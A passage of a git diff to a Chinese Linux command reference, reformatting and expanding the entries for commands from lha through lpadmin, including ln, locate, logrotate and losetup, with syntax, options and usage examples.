-z或z:不压缩文件,直接把它加入,更新压缩文件。 ``` -### 实例 +### 实例 -``` +```shell lha -a abc.lhz a.b #压缩a.b文件,压缩后生成 abc.lhz 文件 lha -a abc2 /home/hnlinux #压缩目录 lha -xiw=agis abc #解压文件abc,到当前目录 ``` - \ No newline at end of file diff --git a/command/lilo.md b/command/lilo.md index ca5dee341c9..9e92770164b 100644 --- a/command/lilo.md +++ b/command/lilo.md @@ -1,6 +1,6 @@ lilo === - + 安装核心载入开机管理程序 ## 补充说明 @@ -11,15 +11,15 @@ Linux lilo已经成为所有 Linux 发行版的标准组成部分。作为一个 虽然 LILO 仍在不断地发展,但 LILO 工作原理的基本概念保持不变。 -### 语法 +### 语法 -``` +```shell lilo(选项) ``` -### 选项 +### 选项 -``` +```shell -b<外围设备代号>:指定安装lilo之处的外围设备代号; -c:使用紧致映射模式; -C<配置文件>:指定lilo的配置文件; @@ -43,7 +43,7 @@ lilo(选项) -V:显示版本信息。 ``` -### 实例 +### 实例 **使用 LILO 作为引导加载程序** @@ -51,7 +51,7 @@ lilo(选项) 要将现有的 Linux 迁移到 LILO,首先必须获得最新版本的 LILO(见 参考资料)。在做任何其他事情之前,建议您确保在手边拥有一张 Linux 引导盘 —— 如果偶而弄错了某些地方,它可以提供很大的帮助,能够恢复到初始的 Linux 配置!将 LILO 安装到系统中之后,让它接管 MBR 非常简单。以 root 用户身份输入: -``` +```shell /sbin/lilo -v -v ``` @@ -67,7 +67,7 @@ LILO 的配置都是通过位于 /etc/lilo.conf 的一个配置文件来完成 lilo.conf 示例文件: -``` +```shell boot=/dev/hda map=/boot/map install=/boot/boot.b @@ -103,7 +103,7 @@ other=/dev/hda 在 lilo.conf 文件中可以使用很多其他参数,不过清单 1 中的参数就足以让机器可用了。要获得关于 lilo.conf 的这些以及其他参数的 进一步资料,请参考手册页(man lilo.conf)。由于在引导时不会读取 lilo.conf,所以,当这个文件有改动时,需要“更新”MBR。 如果不完成此步骤就重新引导,那么对 lilo.conf 的修改不会在启动中反映出来。与先前将 LILO 写入 MBR 类似,需要运行: -``` +```shell /sbin/lilo -v -v ``` @@ -134,4 +134,3 @@ LILO 被成功加载后,将看到 LILO 提示符。还是使用前面的示例 关于第一次尝试 LILO 的最后一点建议是:我发现使用软盘引导磁盘比使用硬盘实现 LILO 配置更为安全。为此,必须在 lilo.conf 文件中使用`boot=/dev/fd0`替换`boot=/dev/hda`。那样,如果弄乱了lilo.conf文件 中的任何配置,都可以取出引导磁盘并像先前一样引导到 Linux。当使用软盘进行引导一切正常以后,可以将lilo.conf修改回`boot=/dev/hda`,然后最后一次运行`/sbin/lilo`来上传修改。 - \ No newline at end of file diff --git a/command/ln.md b/command/ln.md index 4a0f9d5f720..e9dd3df16d4 100644 --- a/command/ln.md +++ b/command/ln.md @@ -1,86 +1,148 @@ ln === -用来为文件创件连接 +用来为文件创建链接 ## 补充说明 -**ln命令** 用来为文件创件连接,连接类型分为硬连接和符号连接两种,默认的连接类型是硬连接。如果要创建符号连接必须使用"-s"选项。 +**ln命令** 用来为文件创建链接,链接类型分为硬链接和符号链接两种,默认的链接类型是硬链接。如果要创建符号链接必须使用"-s"选项。 注意:符号链接文件不是一个独立的文件,它的许多属性依赖于源文件,所以给符号链接文件设置存取权限是没有意义的。 -### 语法 +### 语法 -``` +```shell ln [选项]... [-T] 目标 链接名 (第一种格式)  或:ln [选项]... 目标 (第二种格式)  或:ln [选项]... 目标... 目录 (第三种格式)  或:ln [选项]... -t 目录 目标... (第四种格式) ``` -### 选项 - -``` - --backup[=CONTROL] 为每个已存在的目标文件创建备份文件 --b 类似--backup,但不接受任何参数 --d, -F, --directory 创建指向目录的硬链接(只适用于超级用户) --f, --force 强行删除任何已存在的目标文件 --i, --interactive 覆盖既有文件之前先询问用户; --L, --logical 取消引用作为符号链接的目标 --n, --no-dereference 把符号连接的目的目录视为一般文件; --P, --physical 直接将硬链接到符号链接 --r, --relative 创建相对于链接位置的符号链接 --s, --symbolic 对源文件建立符号连接,而非硬连接; --S, --suffix=SUFFIX 用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,预设的备份字符串是符号“~”,用户可通过“-S”参数来改变它; --t, --target-directory=DIRECTORY 指定要在其中创建链接的DIRECTORY --T, --no-target-directory 将“LINK_NAME”视为常规文件 --v, --verbose 打印每个链接文件的名称 - --help 显示此帮助信息并退出 - --version 显示版本信息并退出 +### 选项 + +```shell +--backup[=CONTROL] # 为每个已存在的目标文件创建备份文件 +-b # 类似--backup,但不接受任何参数 +-d, -F, --directory # 创建指向目录的硬链接(只适用于超级用户) +-f, --force # 强行删除任何已存在的目标文件 +-i, --interactive # 覆盖既有文件之前先询问用户 +-L, --logical # 取消引用作为符号链接的目标 +-n, --no-dereference # 把符号链接的目的目录视为一般文件 +-P, --physical # 直接将硬链接到符号链接 +-r, --relative # 创建相对于链接位置的符号链接 +-s, --symbolic # 对源文件建立符号链接,而非硬链接 +-S, --suffix=SUFFIX # 用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,预设的备份字符串是符号“~”,用户可通过“-S”参数来改变它 +-t, --target-directory=DIRECTORY # 指定要在其中创建链接的DIRECTORY +-T, --no-target-directory # 将“LINK_NAME”视为常规文件 +-v, --verbose # 打印每个链接文件的名称 +--help # 显示此帮助信息并退出 +--version # 显示版本信息并退出 ``` -### 参数 +### 参数 -* 源文件:指定连接的源文件。如果使用`-s`选项创建符号连接,则“源文件”可以是文件或者目录。创建硬连接时,则“源文件”参数只能是文件; -* 目标文件:指定源文件的目标连接文件。 +* 源文件:指定链接的源文件。如果使用`-s`选项创建符号链接,则“源文件”可以是文件或者目录。创建硬链接时,则“源文件”参数只能是文件。 +* 目标文件:指定源文件的目标链接文件。 -```bash +```shell none, off # 不进行备份(即使使用了--backup 选项) numbered, t # 备份文件加上数字进行排序 existing, nil # 若有数字的备份文件已经存在则使用数字,否则使用普通方式备份 simple, never # 永远使用普通方式备份 ``` -### 实例 +### 实例 -将目录`/usr/mengqc/mub1`下的文件m2.c链接到目录`/usr/liu`下的文件a2.c +将目录`/usr/mengqc/mub1` 下的文件 m2.c 链接到目录 `/usr/liu` 下的文件 a2.c -``` +```shell cd /usr/mengqc -ln /mub1/m2.c /usr/liu/a2.c +ln mub1/m2.c /usr/liu/a2.c ``` 在执行ln命令之前,目录`/usr/liu`中不存在a2.c文件。执行ln之后,在`/usr/liu`目录中才有a2.c这一项,表明m2.c和a2.c链接起来(注意,二者在物理上是同一文件),利用`ls -l`命令可以看到链接数的变化。 +**创建软链接** + 在目录`/usr/liu`下建立一个符号链接文件abc,使它指向目录`/usr/mengqc/mub1` -``` +```shell ln -s /usr/mengqc/mub1 /usr/liu/abc ``` 执行该命令后,`/usr/mengqc/mub1`代表的路径将存放在名为`/usr/liu/abc`的文件中。 -## 扩展知识 +**创建硬链接** + +给文件创建硬链接,为 `log2022.log` 创建硬链接 `ln2022`,`log2022.log` 与 `ln2022` 的各项属性相同 + +```shell +ln log2022.log ln2022 +``` + +输出: + +``` +[root@localhost test]# ll +lrwxrwxrwx 1 root root 11 12-07 16:01 link2013 -> log2022.log +-rw-r--r-- 1 root bin 61 11-13 06:03 log2022.log +[root@localhost test]# ln log2022.log ln2022 +[root@localhost test]# ll +lrwxrwxrwx 1 root root 11 12-07 16:01 link2013 -> log2022.log +-rw-r--r-- 2 root bin 61 11-13 06:03 ln2022 +-rw-r--r-- 2 root bin 61 11-13 06:03 log2022.log +``` + +## 扩展知识 Linux具有为一个文件起多个名字的功能,称为链接。被链接的文件可以存放在相同的目录下,但是必须有不同的文件名,而不用在硬盘上为同样的数据重复备份。另外,被链接的文件也可以有相同的文件名,但是存放在不同的目录下,这样只要对一个目录下的该文件进行修改,就可以完成对所有目录下同名链接文件的修改。对于某个文件的各链接文件,我们可以给它们指定不同的存取权限,以控制对信息的共享和增强安全性。 文件链接有两种形式,即硬链接和符号链接。 -### 硬链接 +ln功能说明:是为某一个文件在另外一个位置建立一个同步的链接,当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在其它的目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。 + +> :warning: ln命令会保持每一处链接文件的同步性,也就是说,不论你改动了哪一处,其它的文件都会发生相同的变化。 + +### 软链接: + +1. 软链接,以路径的形式存在。类似于Windows操作系统中的快捷方式 +2. 软链接可以 跨文件系统 ,硬链接不可以 +3. 软链接可以对一个不存在的文件名进行链接 +4. 软链接可以对目录进行链接 + +### 硬链接 + +建立硬链接时,在另外的目录或本目录中增加目标文件的一个目录项,这样,一个文件就登记在多个目录中。如下所示的m2.c文件就在目录mub1和liu中都建立了目录项。 + -建立硬链接时,在另外的目录或本目录中增加目标文件的一个目录项,这样,一个文件就登记在多个目录中。如图所示的m2.c文件就在目录mub1和liu中都建立了目录项。 +1. 硬链接,以文件副本的形式存在。但不占用实际空间。 +2. 不允许给目录创建硬链接 +3. 硬链接只有在同一个文件系统中才能创建 -创建硬链接后,己经存在的文件的I节点号(Inode)会被多个目录文件项使用。一个文件的硬链接数可以在目录的长列表格式的第二列中看到,无额外链接的文件的链接数为l。 +```shell +ls -ailR +.: +total 16 +922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 . +393217 drwxrwxrwt. 9 root root 4096 Jun 17 11:19 .. +922733 drwxr-xr-x 2 root root 4096 Jun 17 11:18 liu +922731 -rw-r--r-- 3 root root 0 Jun 17 11:18 m2.c +922732 drwxr-xr-x 2 root root 4096 Jun 17 11:18 mub1 + +./liu: +total 8 +922733 drwxr-xr-x 2 root root 4096 Jun 17 11:18 . +922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 .. +922731 -rw-r--r-- 3 root root 0 Jun 17 11:18 m2.c + +./mub1: +total 8 +922732 drwxr-xr-x 2 root root 4096 Jun 17 11:18 . +922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 .. +922731 -rw-r--r-- 3 root root 0 Jun 17 11:18 m2.c +``` + +创建硬链接后,己经存在的文件的索引节点号(inode)会被多个目录文件项使用。一个文件的硬链接数可以在目录的长列表格式的第二列中看到,无额外链接的文件的链接数为1。 在默认情况下,ln命令创建硬链接。ln命令会增加链接数,rm命令会减少链接数。一个文件除非链接数为0,否则不会从文件系统中被物理地删除。 @@ -89,13 +151,18 @@ Linux具有为一个文件起多个名字的功能,称为链接。被链接的 * 不能对目录文件做硬链接。 * 不能在不同的文件系统之间做硬链接。就是说,链接文件和被链接文件必须位于同一个文件系统中。 -### 符号链接 +### 符号链接(软连接) -符号链接也称为软链接,是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上,它只是一个文本文件(如图中的abc文件),其中包含它提供链接的另一个文件的路径名,如图中虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于符号链接时,将沿着链接方向前进来访问实际的文件。 +符号链接也称为软链接,是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上,它只是一个文本文件(如下所示的abc文件),其中包含它提供链接的另一个文件的路径名,如虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于符号链接时,将沿着链接方向前进来访问实际的文件。 -!符号连接 +```shell +$ ls -il +total 0 +922736 lrwxrwxrwx 1 root root 5 Jun 17 11:27 abc -> a.txt +922735 -rw-r--r-- 1 root root 0 Jun 17 11:27 a.txt +``` -与硬链接不同的是,符号链接确实是一个新文件,当然它具有不同的I节点号;而硬链接并没有建立新文件。 +与硬链接不同的是,符号链接确实是一个新文件,当然它具有不同的索引节点号;而硬链接并没有建立新文件。 符号链接没有硬链接的限制,可以对目录文件做符号链接,也可以在不同文件系统之间做符号链接。 @@ -106,7 +173,7 @@ Linux具有为一个文件起多个名字的功能,称为链接。被链接的 * 删除源文件或目录,只删除了数据,不会删除链接。一旦以同样文件名创建了源文件,链接将继续指向该文件的新数据。 * 在目录长列表中,符号链接作为一种特殊的文件类型显示出来,其第一个字母是l。 * 符号链接的大小是其链接文件的路径名中的字节数。 -* 当用`ln -s`命令列出文件时,可以看到符号链接名后有一个箭头指向源文件或目录,例如`lrwxrwxrwx … 14 jun 20 10:20 /etc/motd->/original_file`其中,表示“文件大小”的数字“14”恰好说明源文件名`original_file`由14个字符构成。 +* 当用`ls -l`命令列出文件时,可以看到符号链接名后有一个箭头指向源文件或目录,例如`lrwxrwxrwx … 14 jun 20 10:20 /etc/motd->/original_file`其中,表示“文件大小”的数字“14”恰好说明源文件名`original_file`由14个字符构成。 + - diff --git a/command/lnstat.md b/command/lnstat.md index 6d99c3a05d4..7d2edcfcf75 100644 --- a/command/lnstat.md +++ b/command/lnstat.md @@ -1,21 +1,21 @@ lnstat === - + 显示Linux系统的网路状态 ## 补充说明 **lnstat命令** 用来显示Linux系统的网路状态。 -### 语法 +### 语法 -``` +```shell lnstat(选项) ``` -### 选项 +### 选项 -``` +```shell -h:显示帮助信息; -V:显示指令版本信息; -c:指定显示网络状态的次数,每隔一定时间显示一次网络状态; @@ -27,4 +27,3 @@ lnstat(选项) ``` - \ No newline at end of file diff --git a/command/local.md b/command/local.md new file mode 100644 index 00000000000..ad2fd4e27ff --- /dev/null +++ b/command/local.md @@ -0,0 +1,50 @@ +local +=== + +在函数内定义局部变量。 + +## 概要 + +```shell +local [-aAfFgilnrtux] [-p] [name[=value] ...] +``` + +## 主要用途 + +- 在函数内定义局部变量 +- 显示局部变量 +- 在函数内定义全局变量 + +## 选项 + +```shell +local命令的选项与declare命令的相同,请参考declare命令的选项。 +``` + +## 参数 + +name(可选):变量名或已定义函数名。 + +value(可选):变量的值。 + +## 返回值 + +`local`返回true除非你提供了非法选项、赋值错误或是在函数外使用`local`命令。 + +## 例子 + +```shell +相关例子请参考declare命令 +``` + +## 错误用法 + +- 在函数外使用该命令。 + + +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令以及`man bash`、`info bash`的相应部分。 + + + diff --git a/command/locate.md b/command/locate.md index 60c87d12a2d..fd1cdc36ac8 100644 --- a/command/locate.md +++ b/command/locate.md @@ -15,30 +15,44 @@ locate指令和find找寻档案的功能类似,但locate是透过update程序 ### 语法 -``` -locate [选择参数] [样式] +```shell +locate [-d path | --database=path] [-e | -E | --[non-]existing] [-i | + --ignore-case] [-0 | --null] [-c | --count] [-w | --wholename] [-b | + --basename] [-l N | --limit=N] [-S | --statistics] [-r | --regex ] + [--regextype R] [--max-database-age D] [-P | -H | --nofollow] [-L | + --follow] [--version] [-A | --all] [-p | --print] [--help] pattern... ``` ### 选项 -``` --e 将排除在寻找的范围之外。 --1 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的 权限资料。 --f 将特定的档案系统排除在外,例如我们没有到理要把 proc 档案系统中的档案 放在资料库中。 --q 安静模式,不会显示任何错误讯息。 --n 至多显示 n个输出。 --r 使用正规运算式 做寻找的条件。 --o 指定资料库存的名称。 --d 指定资料库的路径 --h 显示辅助讯息 --V 显示程式的版本讯息 +```shell +-b, --basename # 仅匹配路径名的基本名称 +-c, --count # 只输出找到的数量 +-d, --database DBPATH # 使用DBPATH指定的数据库,而不是默认数据库 /var/lib/mlocate/mlocate.db +-e, --existing # 仅打印当前现有文件的条目 +-1 # 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的 权限资料。 +-0, --null # 在输出上带有NUL的单独条目 +-S, --statistics # 不搜索条目,打印有关每个数据库的统计信息 +-q # 安静模式,不会显示任何错误讯息。 +-P, --nofollow, -H # 检查文件存在时不要遵循尾随的符号链接 +-l, --limit, -n LIMIT # 将输出(或计数)限制为LIMIT个条目 +-n # 至多显示 n个输出。 +-m, --mmap # 被忽略,为了向后兼容 +-r, --regexp REGEXP # 使用基本正则表达式 + --regex # 使用扩展正则表达式 +-q, --quiet # 安静模式,不会显示任何错误讯息 +-s, --stdio # 被忽略,为了向后兼容 +-o # 指定资料库存的名称。 +-h, --help # 显示帮助 +-i, --ignore-case # 忽略大小写 +-V, --version # 显示版本信息 ``` ### 实例 -实例1:查找和pwd相关的所有文件 +实例1:查找和 `pwd` 相关的所有文件 -``` +```shell root ~ # locate pwd /bin/pwd /etc/.pwd.lock @@ -57,9 +71,9 @@ root ~ # locate pwd /usr/share/help/el/empathy/irc-join-pwd.page ``` -实例2: 搜索etc目录下所有以sh开头的文件 +实例2: 搜索 etc 目录下所有以 sh 开头的文件 -``` +```shell root ~ # locate /etc/sh /etc/shadow /etc/shadow- @@ -68,7 +82,7 @@ root ~ # locate /etc/sh 实例3:搜索etc目录下,所有以m开头的文件 -``` +```shell root ~ # locate /etc/m /etc/magic /etc/magic.mime @@ -78,4 +92,9 @@ root ~ # locate /etc/m /etc/mate-settings-daemon ``` - +忽略大小写搜索当前用户目录下所有以 `r` 开头的文件 : + +```shell +locate -i ~/r +``` + diff --git a/command/logger.md b/command/logger.md index 63ac132abe7..e1d345a6c66 100644 --- a/command/logger.md +++ b/command/logger.md @@ -7,15 +7,15 @@ logger **logger命令** 是用于往系统中写入日志,他提供一个shell命令接口到syslog系统模块 -### 语法 +### 语法 -``` +```shell logger [options] [message] ``` -### 选项 +### 选项 -``` +```shell -T, --tcp 使用流连接(TCP) -d, --udp 使用数据报(UDP) -i, --id 逐行记录每一次logger的进程ID @@ -34,9 +34,9 @@ logger [options] [message] ### 例子 -``` +```shell logger -p syslog.info "backup.sh is starting" ``` - + diff --git a/command/login.md b/command/login.md index 0fc52813b06..0b77bf4a5b2 100644 --- a/command/login.md +++ b/command/login.md @@ -1,28 +1,27 @@ login === - + 登录系统或切换用户身份 ## 补充说明 **login命令** 用于给出登录界面,可用于重新登录或者切换用户身份,也可通过它的功能随时更换登入身份。在Slackware发行版中 ,您可在命令后面附加欲登入的用户名称,它会直接询问密码,等待用户输入。当`/etc/nologin`文件存在时,系统只root帐号登入系统,其他用户一律不准登入。 -### 语法 +### 语法 -``` +```shell login(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -p:告诉login指令不销毁环境变量; -h:指定远程服务器的主机名。 ``` -### 参数 +### 参数 用户名:指定登录使用的用户名。 - \ No newline at end of file diff --git a/command/logname.md b/command/logname.md index 545efe2d100..763a0c9040b 100644 --- a/command/logname.md +++ b/command/logname.md @@ -1,24 +1,40 @@ logname === - -用来显示用户名称 -## 补充说明 +打印当前终端登录用户的名称。 -**logname命令** 用来显示用户名称。 +## 概要 -### 语法 - -``` -logname(选项) +```shell +logname [OPTION]... ``` -### 选项 +## 主要用途 + +- 打印当前终端登录用户的名称。 +## 选项 + +```shell +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` ---help:在线帮助; ---vesion:显示版本信息。 + +## 返回值 + +返回0表示成功,返回非0值表示失败。 + +## 例子 + +```shell +[root@localhost ~]# logname +root ``` +### 注意 + +1. 注意区分 `whoami` 和 `logname` 这两个命令;比如我们以用户 `root` 打开的终端,然后切换到了用户 `user2`。此时, `whoami`返回的是当前用户 `user2`, `logname` 返回的是 `root`,大家可以自行实践验证一下。 + +2. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 logname`,`info coreutils 'logname invocation'`。 + - \ No newline at end of file diff --git a/command/logout.md b/command/logout.md index b647bd157fd..56d97325dd7 100644 --- a/command/logout.md +++ b/command/logout.md @@ -1,17 +1,16 @@ logout === - + 退出当前登录的Shell ## 补充说明 **logout命令** 用于退出当前登录的Shell,logout指令让用户退出系统,其功能和login指令相互对应。 -### 语法 +### 语法 -``` +```shell logout ``` - \ No newline at end of file diff --git a/command/logrotate.md b/command/logrotate.md index 9d358b1f16d..ceb668afb73 100644 --- a/command/logrotate.md +++ b/command/logrotate.md @@ -1,21 +1,21 @@ logrotate === - -统日志进行轮转、压缩和删除 + +系统日志进行轮转、压缩和删除 ## 补充说明 **logrotate命令** 用于对系统日志进行轮转、压缩和删除,也可以将日志发送到指定邮箱。使用logrotate指令,可让你轻松管理系统所产生的记录文件。每个记录文件都可被设置成每日,每周或每月处理,也能在文件太大时立即处理。您必须自行编辑,指定配置文件,预设的配置文件存放在`/etc/logrotate.conf`文件中。 -### 语法 +### 语法 -``` +```shell logrotate(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -?或--help:在线帮助; -d或--debug:详细显示指令执行过程,便于排错或了解程序执行的情况; -f或--force :强行启动记录文件维护操作,纵使logrotate指令认为没有需要亦然; @@ -24,9 +24,75 @@ logrotate(选项)(参数) -usage:显示指令基本用法。 ``` -### 参数 +### 参数 配置文件:指定lograote指令的配置文件。 +### 实例 + +crontab 会定时调用logrotate命令 在 `/etc/cron.daily/logrotate` 文件中配置使用 + +logrotate的配置文件`/etc/logrotate.conf` 定义引用`/etc/logrotate.d`目录下的一些自定义的log配置 + +在`/etc/logrotate.d`目录下创建任意后缀名的文件,即可使用对日志进行轮转 +```shell +/tmp/log/log.txt +{ + copytruncate + daily + rotate 30 + missingok + ifempty + compress + noolddir +} +``` + +这个配置文件代表的意思是将`/tmp/log/log.txt`文件 进行轮转压缩 + +``` +compress 通过gzip 压缩转储以后的日志 +nocompress 不做gzip压缩处理 +copytruncate 用于还在打开中的日志文件,把当前日志备份并截断;是先拷贝再清空的方式,拷贝和清空之间有一个时间差,可能会丢失部分日志数据。 +nocopytruncate 备份日志文件不过不截断 +create mode owner group 轮转时指定创建新文件的属性,如create 0777 nobody nobody +nocreate 不建立新的日志文件 +delaycompress 和compress 一起使用时,转储的日志文件到下一次转储时才压缩 +nodelaycompress 覆盖 delaycompress 选项,转储同时压缩 +missingok 如果日志丢失,不报错继续滚动下一个日志 +errors address 专储时的错误信息发送到指定的Email 地址 +ifempty 即使日志文件为空文件也做轮转,这个是logrotate的缺省选项。 +notifempty 当日志文件为空时,不进行轮转 +mail address 把转储的日志文件发送到指定的E-mail 地址 +nomail 转储时不发送日志文件 +olddir directory 转储后的日志文件放入指定的目录,必须和当前日志文件在同一个文件系统 +noolddir 转储后的日志文件和当前日志文件放在同一个目录下 +sharedscripts 运行postrotate脚本,作用是在所有日志都轮转后统一执行一次脚本。如果没有配置这个,那么每个日志轮转后都会执行一次脚本 +prerotate 在logrotate转储之前需要执行的指令,例如修改文件的属性等动作;必须独立成行 +postrotate 在logrotate转储之后需要执行的指令,例如重新启动 (kill -HUP) 某个服务!必须独立成行 +daily 指定转储周期为每天 +weekly 指定转储周期为每周 +monthly 指定转储周期为每月 +rotate count 指定日志文件删除之前转储的次数,0 指没有备份,5 指保留5 个备份 +dateext 使用当期日期作为命名格式 +dateformat .%s 配合dateext使用,紧跟在下一行出现,定义文件切割后的文件名,必须配合dateext使用,只支持 %Y %m %d %s 这四个参数 +size(或minsize) log-size 当日志文件到达指定的大小时才转储 +``` +### 注意事项 + +在`/etc/logrotate.d`目录下创建任意后缀名的文件 +```shell +/tmp/log/log* +{ + copytruncate + daily + rotate 30 + missingok + ifempty + compress + noolddir +} +``` +这种情况下,会将轮转过的log再重新轮转,因为轮转过后的文件名也是已log开头的 + - \ No newline at end of file diff --git a/command/logsave.md b/command/logsave.md index cb777feae3b..586e20f4d8c 100644 --- a/command/logsave.md +++ b/command/logsave.md @@ -1,28 +1,27 @@ logsave === - + 将命令的输出信息保存到指定的日志文件 ## 补充说明 **logsave命令** 运行给定的命令,并将命令的输出信息保存到指定的日志文件中。 -### 语法 +### 语法 -``` +```shell logsave(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:追加信息到指定的日志文件中。 ``` -### 参数 +### 参数 * 日志文件:指定记录运行信息的日志文件; * 指令:需要执行的指令。 - \ No newline at end of file diff --git a/command/logwatch.md b/command/logwatch.md index 8871ef723b0..b0c7f6c091d 100644 --- a/command/logwatch.md +++ b/command/logwatch.md @@ -1,21 +1,21 @@ logwatch === - + 可定制和可插入式的日志监视系统 ## 补充说明 **logwatch命令** 是一个可定制和可插入式的日志监视系统,它通过遍历给定时间范围内的系统日志文件而产生日志报告。logwatch默认每天执行一次,可以从`/etc/cron.daily`里看到。 -### 语法 +### 语法 -``` +```shell logwatch(选项) ``` -### 选项 +### 选项 -``` +```shell --detail<报告详细程度>:指定日志报告的详细程度; --logfile<日志文件>:仅处理指定的日志文件; --service<服务名>:仅处理指定服务的日志文件; @@ -31,23 +31,23 @@ logwatch(选项) --help:显示指令的帮助信息。 ``` -### 实例 +### 实例 检查你的主机上是否已经存在Logwatch(Redhat默认已经安装了Logwatch,不过版本比较旧): -``` +```shell rpm -qa logwatch ``` 如果主机上没有logwatch,则执行: -``` +```shell rpm -Ivh logwatch***.rpm ``` 如果有老版本的logwatch,则执行: -``` +```shell rpm -Uvh logwatch***.rpm ``` @@ -62,10 +62,9 @@ rpm -Uvh logwatch***.rpm 如果没有设置logwatch.conf也没关系,可以直接在命令行下设置。 -``` +```shell logwatch --detail High --Service All --range All --print 基本就可以显示出所有日志的情况了 logwatch --service sshd --detail High 只看sshd的日志情况 ``` - \ No newline at end of file diff --git a/command/look.md b/command/look.md index 0edd24f0527..719fb211a7c 100644 --- a/command/look.md +++ b/command/look.md @@ -1,31 +1,30 @@ look === - + 显示文件中以指定字符串开头的任意行 ## 补充说明 **look命令** 用于显示文件中以指定字符串开头的任意行。 -### 语法 +### 语法 -``` +```shell look(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:使用另一个字典文件web2,该文件也位于/usr/dict目录下; -d:只对比英文字母和数字,其余一概忽略不予比对; -f:忽略字符大小写差别; -t<字尾字符串>:设置字尾字符串。 ``` -### 参数 +### 参数 * 字符串:指定要查找的字符串; * 文件:指定要查找的目标文件。 - \ No newline at end of file diff --git a/command/losetup.md b/command/losetup.md index 75b24af505a..bedaea698b2 100644 --- a/command/losetup.md +++ b/command/losetup.md @@ -1,22 +1,22 @@ losetup === - + 设定与控制循环(loop)设备 ## 补充说明 **losetup命令** 用来设置循环设备。循环设备可把文件虚拟成块设备,籍此来模拟整个文件系统,让用户得以将其视为硬盘驱动器,光驱或软驱等设备,并挂入当作目录来使用。 -### 语法 +### 语法 -``` +```shell losetup [ -e encryption ] [ -o offset ] loop_device file losetup [ -d ] loop_device ``` -### 选项 +### 选项 -``` +```shell -a 显示所有循环设备的状态。 -d 卸除设备。 -e <加密选项> 启动加密编码 。 @@ -24,12 +24,12 @@ losetup [ -d ] loop_device -o <偏移量>设置数据偏移量,单位是字节。 ``` -### 参数 +### 参数 * loop_device:循环设备可以是/dev/loop0, /dev/loop1 ... /dev/loop7。 * file:要与循环设备相关联的文件名,这个往往是一个磁盘镜象文件,如 *.img -### loop设备介绍 +### loop设备介绍 在类 UNIX 系统里,loop 设备是一种伪设备(pseudo-device),或者也可以说是仿真设备。它能使我们像块设备一样访问一个文件。在使用之前,一个 loop 设备必须要和一个文件进行连接。这种结合方式给用户提供了一个替代块特殊文件的接口。因此,如果这个文件包含有一个完整的文件系统,那么这个文件就可以像一个磁盘设备一样被 mount 起来。 @@ -37,34 +37,33 @@ losetup [ -d ] loop_device 至此,顺便可以再理解一下 loop 之含义:对于第一层文件系统,它直接安装在我们计算机的物理设备之上;而对于这种被 mount 起来的镜像文件(它也包含有文件系统),它是建立在第一层文件系统之上,这样看来,它就像是在第一层文件系统之上再绕了一圈的文件系统,所以称为 loop。 -### 实例 +### 实例 创建空的磁盘镜像文件,这里创建一个1.44M的软盘: -``` +```shell dd if=/dev/zero of=floppy.img bs=512 count=2880 ``` -使用 losetup将磁盘镜像文件虚拟成快设备: +使用 losetup 将磁盘镜像文件虚拟成块设备: -``` +```shell losetup /dev/loop1 floppy.img ``` 挂载块设备: -``` +```shell mount /dev/loop0 /tmp ``` -经过上面的三步之后,我们就可以通过/tmp目录,像访问真实快设备一样来访问磁盘镜像文件floppy.img。 +经过上面的三步之后,我们就可以通过/tmp目录,像访问真实块设备一样来访问磁盘镜像文件floppy.img。 卸载loop设备: -``` +```shell umount /tmp losetup -d /dev/loop1 ``` - \ No newline at end of file diff --git a/command/lp.md b/command/lp.md index 5b65c198b15..1bbd79a04d8 100644 --- a/command/lp.md +++ b/command/lp.md @@ -1,21 +1,21 @@ lp === - + 打印文件或修改排队的打印任务 ## 补充说明 **lp命令** 用于打印文件,或者修改排队的打印任务。与lpr命令类似,lp命令既支持文件输入也支持标准输入。它与lpr的不同之处在于它有一个不同(稍微复杂点)的参数选项设置。 -### 语法 +### 语法 -``` +```shell lp(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -E:与打印服务器连接时强制使用加密; -U:指定连接打印服务器时使用的用户名; -d:指定接收打印任务的目标打印机; @@ -27,39 +27,39 @@ lp(选项)(参数) -P:指定需要打印的页码。 ``` -### 参数 +### 参数 文件:需打印的文件。 -### 实例 +### 实例 要在连接在设备dlp0上的打印机lp0上打印文件`/etc/motd`,请输入: -``` +```shell lp /etc/motd ``` 要使用文件的一个副本打印`/etc/motd`文件的30个副本,并且要用邮件通知用户作业完成,请输入: -``` +```shell lp -c -m -n30 -dlp0:lpd0 /etc/motd ``` 要使用后端标志-f和-a并带上作业标题blah打印`/etc/motd`文件,请输入: -``` +```shell lp -t "blah" -o -f -o -a /etc/motd ``` 要排队MyFile文件并返回作业编号,请输入: -``` +```shell lp myfile ``` 要排队MyFile文件并禁止作业编号,请输入: -``` +```shell lp -s myfile ``` @@ -71,4 +71,3 @@ lp -s myfile * >0:没有输出设备可用,或者出现一个错误。 - \ No newline at end of file diff --git a/command/lpadmin.md b/command/lpadmin.md index 4f93ea10bad..5b0831e238b 100644 --- a/command/lpadmin.md +++ b/command/lpadmin.md @@ -1,21 +1,21 @@ lpadmin === - + 配置CUPS套件中的打印机和类 ## 补充说明 **lpadmin命令** 